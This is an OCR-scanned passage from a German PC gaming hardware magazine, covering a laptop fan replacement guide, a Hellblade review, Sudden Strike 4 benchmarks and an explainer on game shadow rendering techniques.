Lüfterwechsel bedenkenlos selbst 
vorgenommen werden konnte. Je 
dünner und kompakter das Modell, 
umso komplizierter gestaltet sich 
auch die Demontage des Geräts. 
Große 17-Zöller haben meist eine 
große Wartungsklappe. Bei diesem 
leichten 14-Zoll-Gerät mussten alle 
Komponenten voneinander ge- 
trennt werden, daher haben wir 
diesen Worst Case mit Bildern do- 
kumentiert. (mc) 
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Bild: MEV 


Alle Schrauben müssen mit einem Präzisionsschrau- 

bendreher gelöst werden. Meist sind es Kreuzschlitz- 
schrauben, manchmal handelt es sich aber auch um 

Torxschrauben. 


Die Peripherie ist am Mainboard mit dünnen Flach- 
bandkabeln befestigt. Wenn eine Klemme angehoben 
wird, lassen sie sich vorsichtig herausziehen. Aufpas- 
sen: Es gibt unterschiedliche Mechanismen. 


? 


im тї 
CAR 


Je St 


Ist ohnehin nicht die ganze Abdeckung an der Unter- 
seite abnehmbar, muss alles entfernt werden, was nun 
lose ist. Aktuellere Notebooks haben den Akku nicht 
mehr außen, sondern im Gehäuse. 


Erst jetzt kann die Oberseite vom Rest der Basiseinheit 
getrennt werden. Dazu fährt man vorsichtig mit einem 
Messer oder Schlitzschrauber in den Spalt zwischen 
beiden. 


Notebook-Lüftertausch | INFRASTRUKTUR 


Ist das Mainboard an die untere Abdeckung ver- 
schraubt, muss erst die Tastatur herausgenommen 
werden. Mit einem Schlitzschraubendreher hebelt man 
sie vorsichtig aus den Arretierungen. 


Messer sind die Klemmen leicht zu öffnen. Dabei stets 
vorsichtig vorgehen, damit weder Kabel noch Buchse 
beschädigt werden. 


, 
PRA 


Eventuell sind noch einige Schrauben unter der 
Tastatur zu lösen, sofern die Abdeckung (unten im Bild) 
nicht von Schrauben auf der Unterseite gehalten wird. 
Das Mainboard liegt hier kopfüber im Notebook. 


Für eine saubere Kabelführung im Gerát werden die Kabel in 
manchen Modellen gerne mit Klebeband fixiert. In unserem 
Fall müssen wir das Mainboard von der unteren Plastikschale 
herausschrauben. 


Die Klebebánder einfach vorsichtig abziehen 
und idealerweise beim Zusammensetzen 
wiederverwenden. 
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Der winzige Stecker des Lüfters làsst sich mit den 
Fingern nicht leicht herausziehen. Hier helfen lange 
Fingernägel oder auch wieder ein Schraubendreher. 


BE wir. 
Erst mit freiem Mainboard kommen wir an die Unter- 
seite des Lüftergehäuses, wo wir an dessen Schrauben 
herankommen. Das weiße Kabel ist nicht das des 
Lüfters, sondern gehört dem rechten Lautsprecher. 


bern und sauber: der neue Lüfter. Bei der Gelegenheit kann 
der offen liegende Kühlkörper gereinigt werden. 


Auf die richtige Kabelführung ist beim Zusammenbau 
zu achten. Die Kabel sollten nicht geklemmt oder 


geknickt werden. Wer sich unsicher ist, fotografiert 
einfach die Positionen. 


Ist der neue Lüfter montiert, wird alles wie- 
der zusammengesetzt, gesteckt und verbaut 
— einfach in umgekehrter Reihenfolge, in 
der wir es demontiert haben. 


Alle Flachbandkabel müssen wieder in ihre Buchse. 
Erst wenn sie sich nicht an der Lasche herausziehen 
lassen, sitzen sie korrekt. Nach den Kabeln folgen die 
Schrauben. 
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Die Tastatur wird in die Arretierungen einfach wieder 


am Rand entlang hineingedrückt. Das erfordert etwas 
Gefühl. Mit zu wenig Druck rasten die Arretierungen 
nicht ein, mit zu viel kónnen sie beschádigt werden. 


Wieder zusammengesetzt, müssen jetzt nur noch alle 
Eingabegeräte geprüft werden. Unsere Operation 
verlief erfolgreich — anstatt eines Sägelärms ist jetzt 
wieder nur Meeresrauschen zu vernehmen. 
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Spiele & Software 


Spiele, Software, Tools, Windows, Freewar 


Philipp Reuther 
Fachbereich Spiele 
E-Mail: pr@pcgh.de 


Kommentar 


Wenn die Indie-Entwicklung den Main- 
stream vor sich her treibt. 


Dass viele Trends und Spielelemente, die vormals 
nur bei Indie-Produktionen Verwendung fanden, 
in den Mainstream herüberschwappen, ist wohl 
kaum eine Neuigkeit. Dazu muss man nur den 
aktuellen Crafting- und Survival-Wahnsinn be- 
gutachten: Kaum ein aktuelles Mainstream-Spiel 
kommt noch ohne solche Gameplay-Elemente 
aus. Bislang geschah es aber nur sehr selten, 
dass ein Indie-Spiel dem Mainstream auch tech- 
nisch einen Weg nach vorn weisen konnte. Genau 
dies ist gerade mit Hellblade: Senua's Sacrifice 
geschehen. 


Nach dem Animationsdebakel in Mass Effect: 
Andromeda kónnte der Kontrast zu der beinahe 
unglaublich realistischen Charakterdarstellung in 
Hellblade kaum größer sein. Zugegeben: Hellbla- 
de legt einen sehr starken Fokus auf die Protago- 
nistin des Spiels, zudem ist der Umfang deutlich 
stärker begrenzt als der eines Mass Effect. Den- 
noch: Nach einer solch beeindruckenden Darbie- 
tung einer Non-Mainstream-Produktion müssen 
die großen Studios nun nachziehen. Staksige, 
unglaubwürdige Charaktere haben ausgedient. 


Platz Titel 
Die Sims 4 
Grand Theft Auto 5 
Sudden Strike 4 
Overwatch GOTY Edition 
Landwirtschafts-Simulator 17 


Hersteller 
Electronic Arts 
Rockstar Games 
Kalypso Media 
Blizzard 

Focus Home Interact. 


Prey Bethesda Softworks 
2K Games 
Blizzard 


Civilization 6 

WoW Legion 

Die Sims 4: Großstadtleben 
Battlefield 1 


Electronic Arts 
Electronic Arts 


106 


PC Games Hardware | 10/17 


* Quelle: Saturn, Top 20 vom 19.08.2017 
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Ninja Theory a u 
Hellblade: Senua's Sacrifice | 
T e 


Hardivare ` 
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Hellblade: Senua s Sacrifice 


Ganz ohne finanzielle Hilfestellung eines Publi- 
shers liefert Ninja Theory eines der beeindruckend- 
sten Spiele dieses Jahres ab. 


chon nach kurzer Spielzeit ist klar, dass 

mit Hellblade ein ganz besonderes Spiel 
erschienen ist: Die verstórende Reise der von 
Psychosen getriebenen Keltenkriegerin Senua 
in die Unterwelt der nordischen Mythologie ist 
eine mitreifšende Erfahrung. Von korperlosen 
Stimmen begleitet, die dank des binauralen 3D- 
Sounds beängstigend und verstörend glaubwür- 
dig in den Kopf des Spielers gelangen, muss sich 
Senua inneren und äußeren Dämonen stellen. 
Dabei ist es häufig ungewiss, was real ist und 
was nicht. Dieses Action-Adventure ist emo- 
tional anspruchsvoll und verlangt nach einer 
Auseinandersetzung mit der Hauptfigur, ihren 
Ängsten und Schmerzen - nichts für ein flottes, 
aufheiterndes Spielchen zwischendurch. 


Die zum Einsatz kommende Unreal Engine 4 
zaubert hübsche, aber auch sehr lineare Levels 
auf den Schirm, die zudem etwas polygonarm 
und statisch ausfallen. Einige der Texturen sind 
hochauflösend und sehr ansehnlich, viele wer- 
den zudem mit Parallax Maps versehen. Andere 
Pixeltapeten sehen dagegen eher matschig aus. 
Die Beleuchtung ist schick, aber ebenfalls nichts 


Weltbewegendes, Gleiches gilt für die Qualität 
der Post-Processing-Effekte wie Reflexionen 
oder Umgebungsverdeckung. 


Was dagegen wirklich eindrücklich ist, ist die 
schauspielerische Performance der Darstellerin 
Melina Jürgens und wie diese im Spiel umgesetzt 
wurde. Dank  RealTime-Peformance-Motion- 
Capturing und fantastischer Texturierung kann 
die Darbietung beinahe ungeheuer glaubwür- 
dig mit dem Medium Videospiel verschmolzen 
werden. Diese Umstände erlauben die tolle und 
ergreifende Inszenierung und machen Hellbla- 
de zu einem der mitreißendsten Spiele dieses 
Jahres. Wem die durchaus belastende Thematik 
nicht zu anstrengend ist: Zugreifen! (pr) 


Hellblade: Senua’s Sacrifice 


FAZIT: Hellblade: Senua's Sacrifice ist aufgrund der anspruchs- 
vollen Thematik und des etwas eingeschränkten Gameplays 
sicherlich nichts für jedermann. Doch es ist ein absolut 
mitreißender Trip in die psychotische Gedankenwelt der Prota- 
gonistin und ein Meilenstein, was Charakteranimation betrifft. 
Genre: Action-Adventure | Web: http://www.hellblade. 
com | Technik: Unreal Engine 4; Direct X 11, x64 | Emp- 
fohlener PC: Core i5-7400/AMD R5 1400, Geforce GTX 
1060, Radeon RX 480, 8 Gigabyte RAM 
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SPIELE & SOFTWARE | Sudden Strike (Release) 


Nachdem wir in uns in der letzten Ausgabe die Vorabversion ansahen, ist das Spiel mittlerweile er- 


hältlich. Mit neuen Grafikkarten- und CPU-Benchmarks dokumentieren wir die Performance. 


udden Strike 4 ist ein unterhalt- 
SS. Strategiespiel geworden, 
das nicht nur darbenden Fans des 
Genres neues Futter bietet, sondern 
auch Gelegenheitsgenerälen Spaß 
bereitet. Das Spiel basiert auf der 
Unity Engine 5, die mit einigen neu- 
en (Grafik-)Features daherkommt, 
die bereits in Sudden Strike 4 Ver- 
wendung finden. Dazu zählt bei- 
spielsweise Deferred Shading, das 
den Einsatz vieler Lichter gleichzei- 
tig auf dem Schirm erlaubt, sowie 
Physically Based Rendering (PBR). 
Der Einsatz beider Techniken ist 
auch optisch in Sudden Strike 4 zu 
erkennen: Die Materialeigenschaf- 
ten der Umgebungen, Fahrzeuge 
und Gebäude wirkt dank des phy- 
sikbezogenen Renderansatzes re- 
alistisch. Zudem erlaubt PBR den 
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glaubhaften Wechsel von Witterun- 
gen und Tageszeiten. Außerdem er- 
hellen unzählige Schein- und Rück- 
leuchten der Fahrzeuge die Nacht, 
Partikelrauch wird darüber hinaus 
hübsch ausgeleuchtet und verschat- 
tet. Die genutzte API ist Direct X 11. 
Trotz potenzieller Unterstützung 
für Direct X 12 und Vulkan ist auch 
in Zukunft kein Support geplant. 


Kleine Überarbeitungen 

Die  Physikberechnungen sind 
ebenfalls sehr hübsch anzusehen, 
Fahrzeuge walzen Schneisen in 
Felder, die Infanterie zieht schmale 
Trampelpfade durchs Gras, schicke 
Explosionen hinterlassen Krater in 
der Landschaft und Gebäude fallen 
unter Beschuss zusammen. An die- 
ser Stelle hat der ungarische Ent- 


wickler Kite Games offenbar noch- 
mals Hand angelegt, gegenüber der 
Preview-Fassung erscheinen uns 
die Physikberechnungen in einer 
höheren Frequenz und Genauig- 
keit abzulaufen. Das würde auch 
die gesteigerten Anforderungen an 
die CPU erklären. Im letzten Heft 
ließen wir einen übertakteten Core 
i7-6800K @ 4,4 GHz antreten. Die- 
ser limitierte die flotte EVGA GTX 
1080 Ti in unserem Benchmark 
Stalingrad bei 152,3 Durschnitts- 
und 123 Minimum-Fps. Das gleiche 
System mit der selben Grafikkarte 
liefert in der Release-Version nur 
noch 142,3 @-Fps / 113 min-Fps. 
Das ist kein dramatischer Unter- 
schied, beeinflusst aber insbeson- 
dere die Performance schneller 
GPUs in niedrigen Auflösungen. 


Ein weiterer Unterschied zeigt sich 
beim Vergleichen von Screenshots 
der beiden Fassungen: In der Vor- 
abversion wirkt die Optik merklich 
unschärfer, insbesondere in Full 
HD. Offenbar hat der Entwickler 
die integrierte Post-Processing- 
Kantenglättung ein wenig ange- 
passt. Insbesondere feinere Ele- 
mente wie Vegetation sind daher 
etwas flimmeranfälliger, im Ge- 
genzug ist die generelle Bildschär- 
fe höher. Ein Kompromiss, doch 
steht Sudden Strike 4 die merklich 
knackigere Optik gut zu Gesicht. 
Dank integrierter Skalierungs- 
funktion kann zudem bequem 
Downsampling genutzt werden, 
was in Anbetracht der geringen An- 
forderung an die Grafikkarte sehr 
empfehlenswert ist. 
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Sudden Strike 4 (Release-Fassung): Grafikkarten im Leistungstest 


1.920 x 1.080, max. Details, Ingame-AA/16:1 HQ-AF - ,,Stalingrad” 


EVGA GTX 1080 Ti SC2/11G. 8 138,4 (+72 %) 
Gigabyte GTX 1080 G1 Gaming/8G aaa 134,1 (+67 %) 
AMD Radeon RX Vega 64/8G Eat 126,8 (+58 96) 
Palit GTX 980 Ti Super Jetstream/6G ЗЇ 125,1 (456 %) 
Inno 3D GTX 1070 ХЗ Ultra/8G ТОБ БЕШ 117,7 (+47 %) 
AMD Radeon RX Vega 56/8G VE 113,3 (+41 %) 
AMD Radeon R9 Fury X/4G gait 99,0 (+23 %) 
Asus GTX 980 Strix/4G EEE 93,0 (+16 %) 
Powercolor RX 580 Red Devil GS/8G. Egon 84,2 (+5 96) 
Zotac GTX 1060 AMP/6G 7911 82,5 (Basis) 
HIS R9 390X IceQ X? Turbo/8G. s; 80,3 (+0 96) 
MSI GTX 970 Gaming/3,5+0,5G rtt 79,4 (-1 %) 
Sapphire R9 290 Tri-X OC/AG. ent 72,4 (-10 %) 
Palit GTX 780 Jetstream/3G Ent 70,9 (-12 96) 
Gigabyte RX 470 G1 Gaming/AG EEE 69,2 (-14 96) 
HIS R9 280X IceQ X? Turbo/3G [Essi] 58,5 (-27 %) 
Gigabyte GTX 770 Windforce OC/2G Xs] 58,2 (-28 90) 


2.560 х 1.440, max. Details, Ingame-AA/16:1 HQ-AF - „Stalingrad” 


EVGA GTX 1080 Ti s 2416 |n Es 125,6 (+133 90) 
Gigabyte GTX 1080 G1 Gaming/8G Egit 97,0 (+80 96) 
AMD Radeon RX Vega 64/8G ge 89,8 (+67 96) 
Palit GTX 980 Ti Super Jetstream/6G Xs!" 80,7 (+50 96) 
Inno 3D GTX 1070 ХЗ Ultra/8G. satt 78,2 (+45 %) 
AMD Radeon RX Меда 56/8G Eust 76,7 (+43 %) 
AMD Radeon R9 Fury X/4G E66! 69,4 (+29 %) 
Asus GTX 980 Strix/4G. ESS 60,2 (+12 96) 
Powercolor RX 580 Red Devil GS/8G X54! 56,5 (+5 96) 
HIS R9 390X IceQ X? Turbo/8G ES 54,7 (4-2 %) 
Zotac GTX 1060 AMP/6G MEMS] 53,8 (Basis) 
MSI GTX 970 Gaming/3,5+0,5G [8| 50,2 (-7 96) 
Sapphire R9 290 Tri-X OC/4G |n 49,2 (-9 96) 
Palit GTX 780 Jetstream/3G ut 47,3 (-12 96) 
Gigabyte RX 470 G1 Gaming/4G [Xil 47,2 (-12 96) 
HIS R9 280X IceQ X? Turbo/3G gg 41,3 (-23 96) 
Gigabyte GTX 770 Windforce OC/2G 381] 38,1 (-29 96) 


3.440 x 1.440, max. Details, Ingame-AA/16:1 HQ-AF - „Stalingrad” 


EVGA GTX 1080 Ti SC2/11G НОД В 102,6 (+91 96) 
Gigabyte GTX 1080 G1 Gaming/8G |t 76,4 (+42 96) 
AMD Radeon RX Меда 64/86 E61! 70,5 (+31 96) 
Palit GTX 980 Ti Super Jetstream/6G СО 63,6 (+18 96) 
Inno 3D GTX 1070 ХЗ Ultra/8G 60i 62,7 (+17 %) 
AMD Radeon RX Vega 56/8G Xs 61,2 (4-14 96) 
AMD Radeon R9 Fury X/4G Xs 55,8 (+4 90) 
Asus GTX 980 Strix/4G Fas] 47,4 (+-12 96) 
Powercolor RX 580 Red Devil GS/8G ШШШ 45,2 (+-16 96) 
HIS R9 390X IceQ X? Turbo/8G. Eti 43,9 (+-18 96) 
Zotac GTX 1060 AMP/6G || 42,6 (Basis) 
MSI GTX 970 Gaming/3,5--0,5G [9999381] 39,9 (-26 %) 
Sapphire R9 290 Tri-X OC/4G 3g 39,2 (-27 96) 
Palit GTX 780 Jetstream/3G [53811 37,8 (-30 96) 
Gigabyte RX 470 G1 Gaming/4G [53811 37,6 (-30 96) 
HIS R9 280X IceQ X? Turbo/3G 930i] 32,4 (-40 96) 
Gigabyte GTX 770 Windforce OC/2G BEEZ] 26,4 (-51 96) 


3.840 x 2.160, max. Details, Ingame-AA/16:1 HQ-AF - ,Stalingrad" 


EVGA GTX 1080 Ti SC2/11G |t 73,2 (+36 96) 
Gigabyte GTX 1080 G1 Gaming/8G. ВЕБ] 54,7 (+2 96) 
AMD Radeon RX Vega 64/8G [wi 49,6 (+-8 96) 
Palit GTX 980 Ti Super Jetstream/6G X431] 44,9 (+-17 96) 
Inno 3D GTX 1070 ХЗ Ultra/8G qm 44,5 (4-17 96) 
AMD Radeon RX Vega 56/8G |i] 42,5 (+-21 96) 
AMD Radeon R9 Fury X/4G E381! 40,8 (+-24 96) 
Asus GTX 980 Strix/4G [311 33,3 (+-38 96) 
HIS R9 390X IceQ X? Turbo/8G ВЕ 8301 32,2 (+-40 96) 
Powercolor RX 580 Red Devil GS/8G ВЕ ЗО 31,1 (4-42 96) 
Zotac GTX 1060 AMP/6G 1:38/| 29,9 (Basis) 
MSI GTX 970 Gaming/3,5--0,5G 1:261! 28,2 (-48 96) 
Sapphire R9 290 Tri-X OC/AG 1:261! 28,2 (-48 96) 
Gigabyte RX 470 G1 Gaming/4G В 29 26,2 (-51 96) 
Palit GTX 780 Jetstream/3G [231] 25,4 (-53 96) 
HIS R9 280X IceQ X? Turbo/3G är 22,6 (-58 96) 
Gigabyte GTX 770 Windforce OC/2G В | 19,0 (-65 96) 


Bemerkungen: Basis ist die verbreitetste spieletaugliche Grafikkarte laut Steam Hardware Survey (Juni 2016). 


System: Core i7-6900K @ 4,0 GHz, MSI X99A Gaming Pro Carbon, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, Geforce 385.12 Beta, Radeon Software 17.7.2 Non-WHQL, HQ-AF 


Mimil @ Fps 


» Besser 


Neue Achtkern-Benchmarks 
Nicht zuletzt aufgrund der gestie- 
genen Prozessorlast haben wir uns 
für diesen Test entschlossen, unser 
Achtkern-Testsystem als Basis zu 
verwenden. Zwar taktet der ange- 
spornte Core i7-6900K mit 4,0 GHz 
400 MHz niedriger als das Hexa- 
core-Testsystem @ 4,4 GHz, jedoch 
kann der Octocore dies offenbar 
beinahe durch das Plus an Threads 
ausgleichen. Bei der gleichen Test- 
szene, Full-HD-Auflösung und der 
EVGA GTX 1080 Ti SC2 liegt der 
i7-6900K mit 138,4 Durchschnitts- 
Fps gerade einmal 2,8 Prozent 
hinter dem i7-6800K und kann bei 
den minimalen Bildraten gleich- 
ziehen. Tatsächlich erhöhen sich 
die min-Fps bei vielen getesteten 
Konstellationen leicht. Und mit 
dem Octocore können wir Sudden 
Strike 4 noch ein wenig weiter auf 
den Zahn fühlen: Die Playstation- 
4-Version läuft laut Entwickleraus- 
sage (s. Interview PCGH 09/2017) 


www.pcgameshardware.de 


auf sieben Threads, eine zumindest 
ordentliche Skalierung ist also 
auch auf dem PC zu erhoffen. 


Und tatsächlich: Die acht Kerne 
bringen einen Vorteil gegenüber 
Quad- und Hexacores. Allerdings 
ist der Vorsprung recht klein und 
sollte durch den tendenziellen 
Taktvorteil dieser CPUs auszu- 
gleichen sein. Einzig Zweikerner 
samt HTT sind wirklich deutlich 
im Nachteil, wenngleich in un- 
serem Benchmark noch minimal 
84 Fps erzielt werden. Es handelt 
sich jedoch ausdrücklich um kein 
Worst-Case-Szenario: Bei großen 
Schlachten, im Skirmish- oder Mul- 
tiplayer-Modus sind deutlich höhe- 
re Lastszenarien zu erwarten, die 
Performance eines hypothetischen 
i3s könnte tatsächlich in unange- 
nehme Bereiche absacken. Mit ei- 
nem aktuellen Vierkern-Prozessor 
sind Sie indes auf der sicheren 
Seite. 


Ein nicht reproduzierbares, recht unrealistisches Worst-Case-Szenario: Im Skrimish 
bekriegen sich alle acht Armeen mit noch deutlich über 60 Achtkern-Fps auf einmal. 
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Der Wechsel des Testsystems und 
die gestiegene Last für den Prozes- 
sor hat in einigen Fällen offenbar 
auch negative Auswirkungen auf 
die Leistung einiger Grafikkar- 
ten - abseits der natürlich schon 
angesprochenen schnellen Nvidia- 
GPUs, die aufgrunddessen tatsäch- 


lich die größte Leistungseinbuße 
in Full HD aufweisen. Insbesonde- 
re die älteren AMD-GPUs (Hawaii, 
Fiji) lassen ein paar Federn, wobei 
der größte Unterschied bei der R9 
390X in Full HD zu finden ist: Ha- 
ben wir mit dem i7-6800K @ 4,4 
GHz in der Preview-Fassung und 


CPU-Skalierung in Sudden Strike 4 
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System: Core i7-6900K @ 4,0 GHz, MSI X99A Gaming Pro Carbon, 4 x 8 GiB Corsair DDR4-3000 (1T), Asus 
GTX 1080 Ti Strix/11G (-1.936 MHz); Windows 10 x64, Geforce 385.12 Beta Bemerkungen: Acht Kerne 
bringen leichte Vorteile; am Ende der Messung ist der Benchmark am Anspruchvollsten. 


1.920 x 1.080 Pixeln noch 83,4 Fps 
gemessen, so sind es nun nur noch 
80,3 (minus 3,7 Prozent), die mini- 
malen Bildraten sacken von 75 auf 
73 Fps ab. Dies kostet die R9 390X 
zwei Plätze: In Full HD können 
sich sowohl RX 580 als auch GTX 
1060 vor dem alten Hawaii-Rentner 
platzieren. In höheren Auflösun- 
gen revidiert sich das Bild langsam 
wieder. Die meisten anderen GPUs 
können etwas zulegen, entweder 
unserem Testsystem oder den neu- 
eren Grafiktreibern geschuldet. 
Die Unterschiede sind allerdings 
sehr gering. 


Venga Vega! 

Eine eher positive Leistung kön- 
nen AMDs neue Vega-GPUs ver- 
zeichnen, die sich hier zudem 
als Referenz-Modelle zusammen 
mit den teils stark übertakteten 
Custom-Modellen messen lassen 
müssen. Trotz alledem und auch 
ob der Tatsache, dass die RX Vega 
56 aufgrund ihres engen Leistungs- 
korsetts eher niedrige Taktraten 
unter 1.300 MHz liefert, kann sie 
sich mit der Inno GTX 1070 X3 


Die besten 
apk 


СІ 
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Ultra anlegen. Die Inno bringt mit 
rund 1.987 MHz gegenüber Basis- 
als auch typischem Boost (1.506, 
respektive 1.683 MHz) eine deutli- 
che Übertaktung mit sich. Auch die 
RX Vega 64 macht - unseren bis- 
herigen Tests zufolge - eine eher 
überdurchschnittlich gute Figur: 
Abseits von Full HD, wo das Prozes- 
sorlimit die schnellsten GPUs kon- 
sequent einbremst, platziert sich 
das Referenz-Modell der RX Vega 
64 nicht weit hinter der Gigabyte 
GTX 1080 G1 Gaming. Wobei letz- 
teres Modell mit rund 1.911 MHz 
ebenfalls relativ hoch boostet. (pr) 


Gute Leistung! 
Es ist durchaus beachtenswert, welch 


gutes — Optik-Performance-Verháltnis 
Sudden Strike 4 aufweisen kann. Die 
Optimierungen seitens Kite Games 
haben sich offenbar ausgezahlt, die 
Leistung ist generell hoch — selbst 
auf schwächeren Systemen. Und auch 
die grafische Umsetzung der Welt- 
kriegsstrategie kann gefallen. 
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SPIELE & SOFTWARE | Grafikeffekte erklárt Teil 7 


Schattentheater 


Seitdem Doom mit Per-Pixel-Lighting MaBstàbe setzte, sind aufwendige Beleuchtung und deren 


Schattenwurf aus modernen Spielen kaum mehr wegzudenken. 


hne zumindest halbwegs 
О Schatten kommt 
heute kaum ein Spiel mehr aus. Sie 
ergänzen die seit Jahren komplexer 
werdenden Beleuchtungstechni- 
ken, sorgen für Tiefe und Kontrast 
und lassen virtuelle Welten glaub- 
hafter wirken. Doch zählt die Schat- 
tendarstellung zu den aufwendi- 
geren Berechnungen in Spielen, 
insbesondere wenn die Auflösung 
und Filterung fein ausfällt. 


So richtig begonnen hat alles mit 
dem Siegeszug des Per-Pixel-Ligh- 
tings. Engines wie die id Tech 4, 
Cryengine 1, Unreal Engine 3 oder 
Source Engine 2 kehrten sich von 
dem zuvor verbreiteten Vertex- 
Lighting ab und setzten auf die ver- 
feinerte, pixelgenaue Beleuchtung. 
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Mit der verbesserten Beleuchtung 
wurden auch neue Berechnungen 
für die dynamische Schattendar- 
stellung nötig. Im Grunde gibt es 
dabei zwei grundverschiedene An- 
sätze: Die erste sorgte in Doom 3 
für Staunen und erneuerte den 
Legendenstatus des Engine-Gurus 
John Carmack. In Doom 3 kommen 
sogenannte Stencil Shadows zum 
Einsatz; der Name bezieht sich auf 
den für die Darstellung genutzten 
und im Prinzip zweckentfremde- 
ten Stencil Buffer (siehe folgende 
Seite). Die eigentliche Technik 
nennt sich Shadow Volumes. Es 
handelt sich dabei im Grunde um 
eine 3D-Projektion des zu verschat- 
tenden Drahtgittermodells. Die 
Umrisse werden dann im Stencil 
Buffer abgelegt. Dabei handelt es 


sich im Prinzip um eine Schablo- 
ne, mit der die zu verschattenden 
Umrisse aus der Levelbeleuchtung 
„herausgeschnitten“ werden kön- 
nen (die in Doom 3 zum Einsatz 
kommende Technik funktioniert 
indes invertiert, sie nennt sich da- 
her „Carmack’s Reverse“). 


Der Einsatz ist clever, die Schatten 
sind pixelgenau, scharf und sauber, 
doch gibt es einige Probleme. Denn 
ein Stencil-Schatten ist entweder 
existent oder nicht, Abstufungen 
zwischen „Schwarz und Weiß“ sind 
nicht möglich. Zudem können auf- 
grund der 3D-Vertex-Basis keine 
Transparenztexturen (etwa 
Darstellung von Vegetation) erfasst 


zur 


werden, Filterung oder weiche 
Schatten funktionieren ebenfalls 


nicht und es kann zu Verzerrungen 
oder Perspektivenproblemen kom- 
men. Außerdem sind pro Lichtquel- 
le zumindest zwei Renderdurchläu- 
fe nötig. 


Der zweite Ansatz ist das Shadow 
Mapping. Diese Technik nutzt 
(Graustufen-)Texturen, um die 
Schatten darzustellen und kommt 
in praktisch allen aktuellen Titeln 
zum Einsatz. Diese Technik bie- 
tet Vorteile bei Transparenzen, 
sie benötigt nur einen einzelnen 
Renderpass (ab DX 10) und auf- 
wendige Filtertechniken können 
genutzt werden. Nachteile sind 
die vergleichsweise niedrige Auf- 
lösung, hoher Speicherbedarf und 
potenzielle Artefaktbildung (z.B. 
Banding). (br) 
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Shadow Volumes und Stencil Shadows 


Mit Doom 3 machte sich Engine-Guru John Carmack ein weiteres Mal von sich reden. Die 
„Carmack’s Reverse" getaufte Schattentechnik nutzt den Stencil Buffer. Der Stencil Buffer 
dient normalerweise dazu, Teile des Bilds vor dem Rendern auszuschließen, beispielsweise 
unter einem HUD verborgene Elemente, die unnötig Rechenzeit benötigen würden — , Stencil" 
bedeutet im Deutschen „Schablone“, Shadow Volumes nennt sich die zugrundeliegende Pro- 
jektion auf Basis der Vertices der Polygonmodelle: Von jeder Schatten werfenden Lichtquelle 
(Doom 3 nutzt maximal zwölf zugleich) wird der Lichtkegel verfolgt, von sich in diesem Ke- 
gel befindliche Objekte wird eine auf dem Polygon-Gerüst basierende Silhouetten-Projektion 


kreiert und in den Stencil Buffer geschrieben. Die Vorteile der Stencil Shadows sind unter 
anderem, dass sie kaum (zusätzlichen) Videospeicher benötigen, saubere Kanten haben und 
in nativer Auflösung pixelgenau appliziert werden. Nachteile: Da Shadow Volumes auf Poly- 
gonstrukturen basieren, können Alpha-Texturen (z.B. für die Darstellung von Vegetation) nicht 
berücksichtigt werden, es sind mehrere Renderpasses (GPU-Berechnungen) pro Frame, Schat- 
ten und Lichtquelle nötig, die CPU-Last ist tendenziell hoch und gefilterte sowie halbtranspa- 
rente Schatten funktionieren nicht — Stencil Shadows werden entweder angezeigt oder eben 
nicht. Außerdem fordern sie der GPU eine hohe Füllrate ab und es gibt Perspektivenprobleme. 


Die aus Shadow Volumes kreierten Stencil Shadows in Doom 3 waren damals extrem beeindruckend. Im Gegensatz zu Shadow Maps sind Stencil Shadows immer scharf. 


( N 


FEAR nutzt ebenfalls Stencil Shadows. Sogar „Soft Shadows” sind möglich. 
[ 1 


= 
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Doch es ist nur ein Trick: Mehrere Schatten werden versetzt übereinander gelegt. 
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(Cascaded) Shadow Mapping in Battlefield 1 und Fallout 4 


In aktuellen Titeln wird beinahe ausschließlich Shadow Mapping verwendet. Shadow Maps 
basieren auf einer Textur, die eine bestimmte Größe und Auflösung einnimmt und die Sie im 
Grunde mit der Kamera bzw. Figur durch die Spielewelten bewegen. Dazu wird der „Blickwin- 
kel" jeder Schatten-werfenden Lichtquelle einzeln berechnet, die Szene dann nochmals aus 
der Kameraperspektive berechnet, potenzielle Hindernisse erfasst und dann für jeden Pixel der 
Schattentextur entschieden, ob und wie stark dieser verdunkelt werden soll — je hóher die 
Auflösung der Shadow Map, desto anspruchsvoller ist dieser Vorgang also. Da eine einzelne, 
gestreckte Map nicht ausreichen oder man eine sehr ineffiziente Pixelgrößen benötigen wür- 


Die Schatten in Ba lefield 1 sind 


742 


inzipiell hübsch, aber etwas niedri 
4 Уу BO 


ж” 


de, kommen mehrere, abgestufte (cascaded) Texturen zum Einsatz: In der Маһе mit hóchster 
Pixeldichte dargestellt, mit zunehmender Entfernung werden die Maps flächenmäßig größer, 
die Auflösung sinkt. Vorteile von Shadow Maps: Pro Lichtquelle ist nur ein einzelner Renderpass 
nötig (ab DX 10), Alpha-Texturen und andere Transparenzen können berücksichtigt und ergänzt 
(z.B. Schatten werfende Partikel oder Wolkenschatten) sowie aufwendige Filterverfahren ge- 
nutzt werden. Nachteile: Shadow-Maps sind flimmeranfällig, können Darstellungsprobleme mit 
sich bringen (Artefakte, Streifen) und benötigen viel Grafikspeicher. Letzteres gilt insbesondere, 
wenn aufwendig gefiltert wird und die Sichtweite hoch ausfällt (viele einzelne Shadow Maps). 


fgelóst. Theoretisch wären auch halbtransparente Schatten, etwa für den Partikelrauch, möglich. 


= 
w 


Gut erkennbare Schattenkaskaden: Mit zunehmender Kameraentfernung sinkt die Schattenauflösung. Der Charakterschatten wird in Fallout 4 gesondert gerendert. 


м 


114 PC Games Hardware | 10/17 


i 


' 


www.pcgameshardware.de 


Grafikeffekte erklärt Teil 7 | SPIELE & SOFTWARE 


Sonnen- und Punktschatten in The Division 


hadow Maps sind kompliziert zu berechnen und benötigen neben viel Speicher außer- 
dem viel Rechenzeit. Neben abgestufen Schatten wird deshalb mit weiteren Tricks gearbeitet: 
So gibt es in aktuellen Spielen nur eine sehr begrenzte Anzahl Lichtquellen, die tatsächlich 
Schatten werfen — im Normalfall liegt das Limit mit heutiger Hardware und DX11-API bei 
acht bis zehn gleichzeitig Schatten werfender Lichter. Ansonsten wird das Spiel zu anspruchs- 
voll. Zudem steigt mit jeder Lichtquelle der CPU- bzw. API-Overhead. In vielen Spielen gibt es 
deshalb mehrere Schattenoptionen, oft getrennt für „Sonnenschatten” und , Punktschatten". 
Diese unterscheiden sich technisch im Grunde nicht allzu sehr. Die „Sonne” ist im Prinzip nur 


eine einzelne, wichtige Lichtquelle, während andere Lichter wie Straßenlaternen oder die Be- 
leuchtung in Innenráumen einfach ein wenig anders gehandhabt werden. In The Division ist 
dieser Unterschied allerdings recht auffällig, denn die Sonnenschatten (und die des Mondes, 
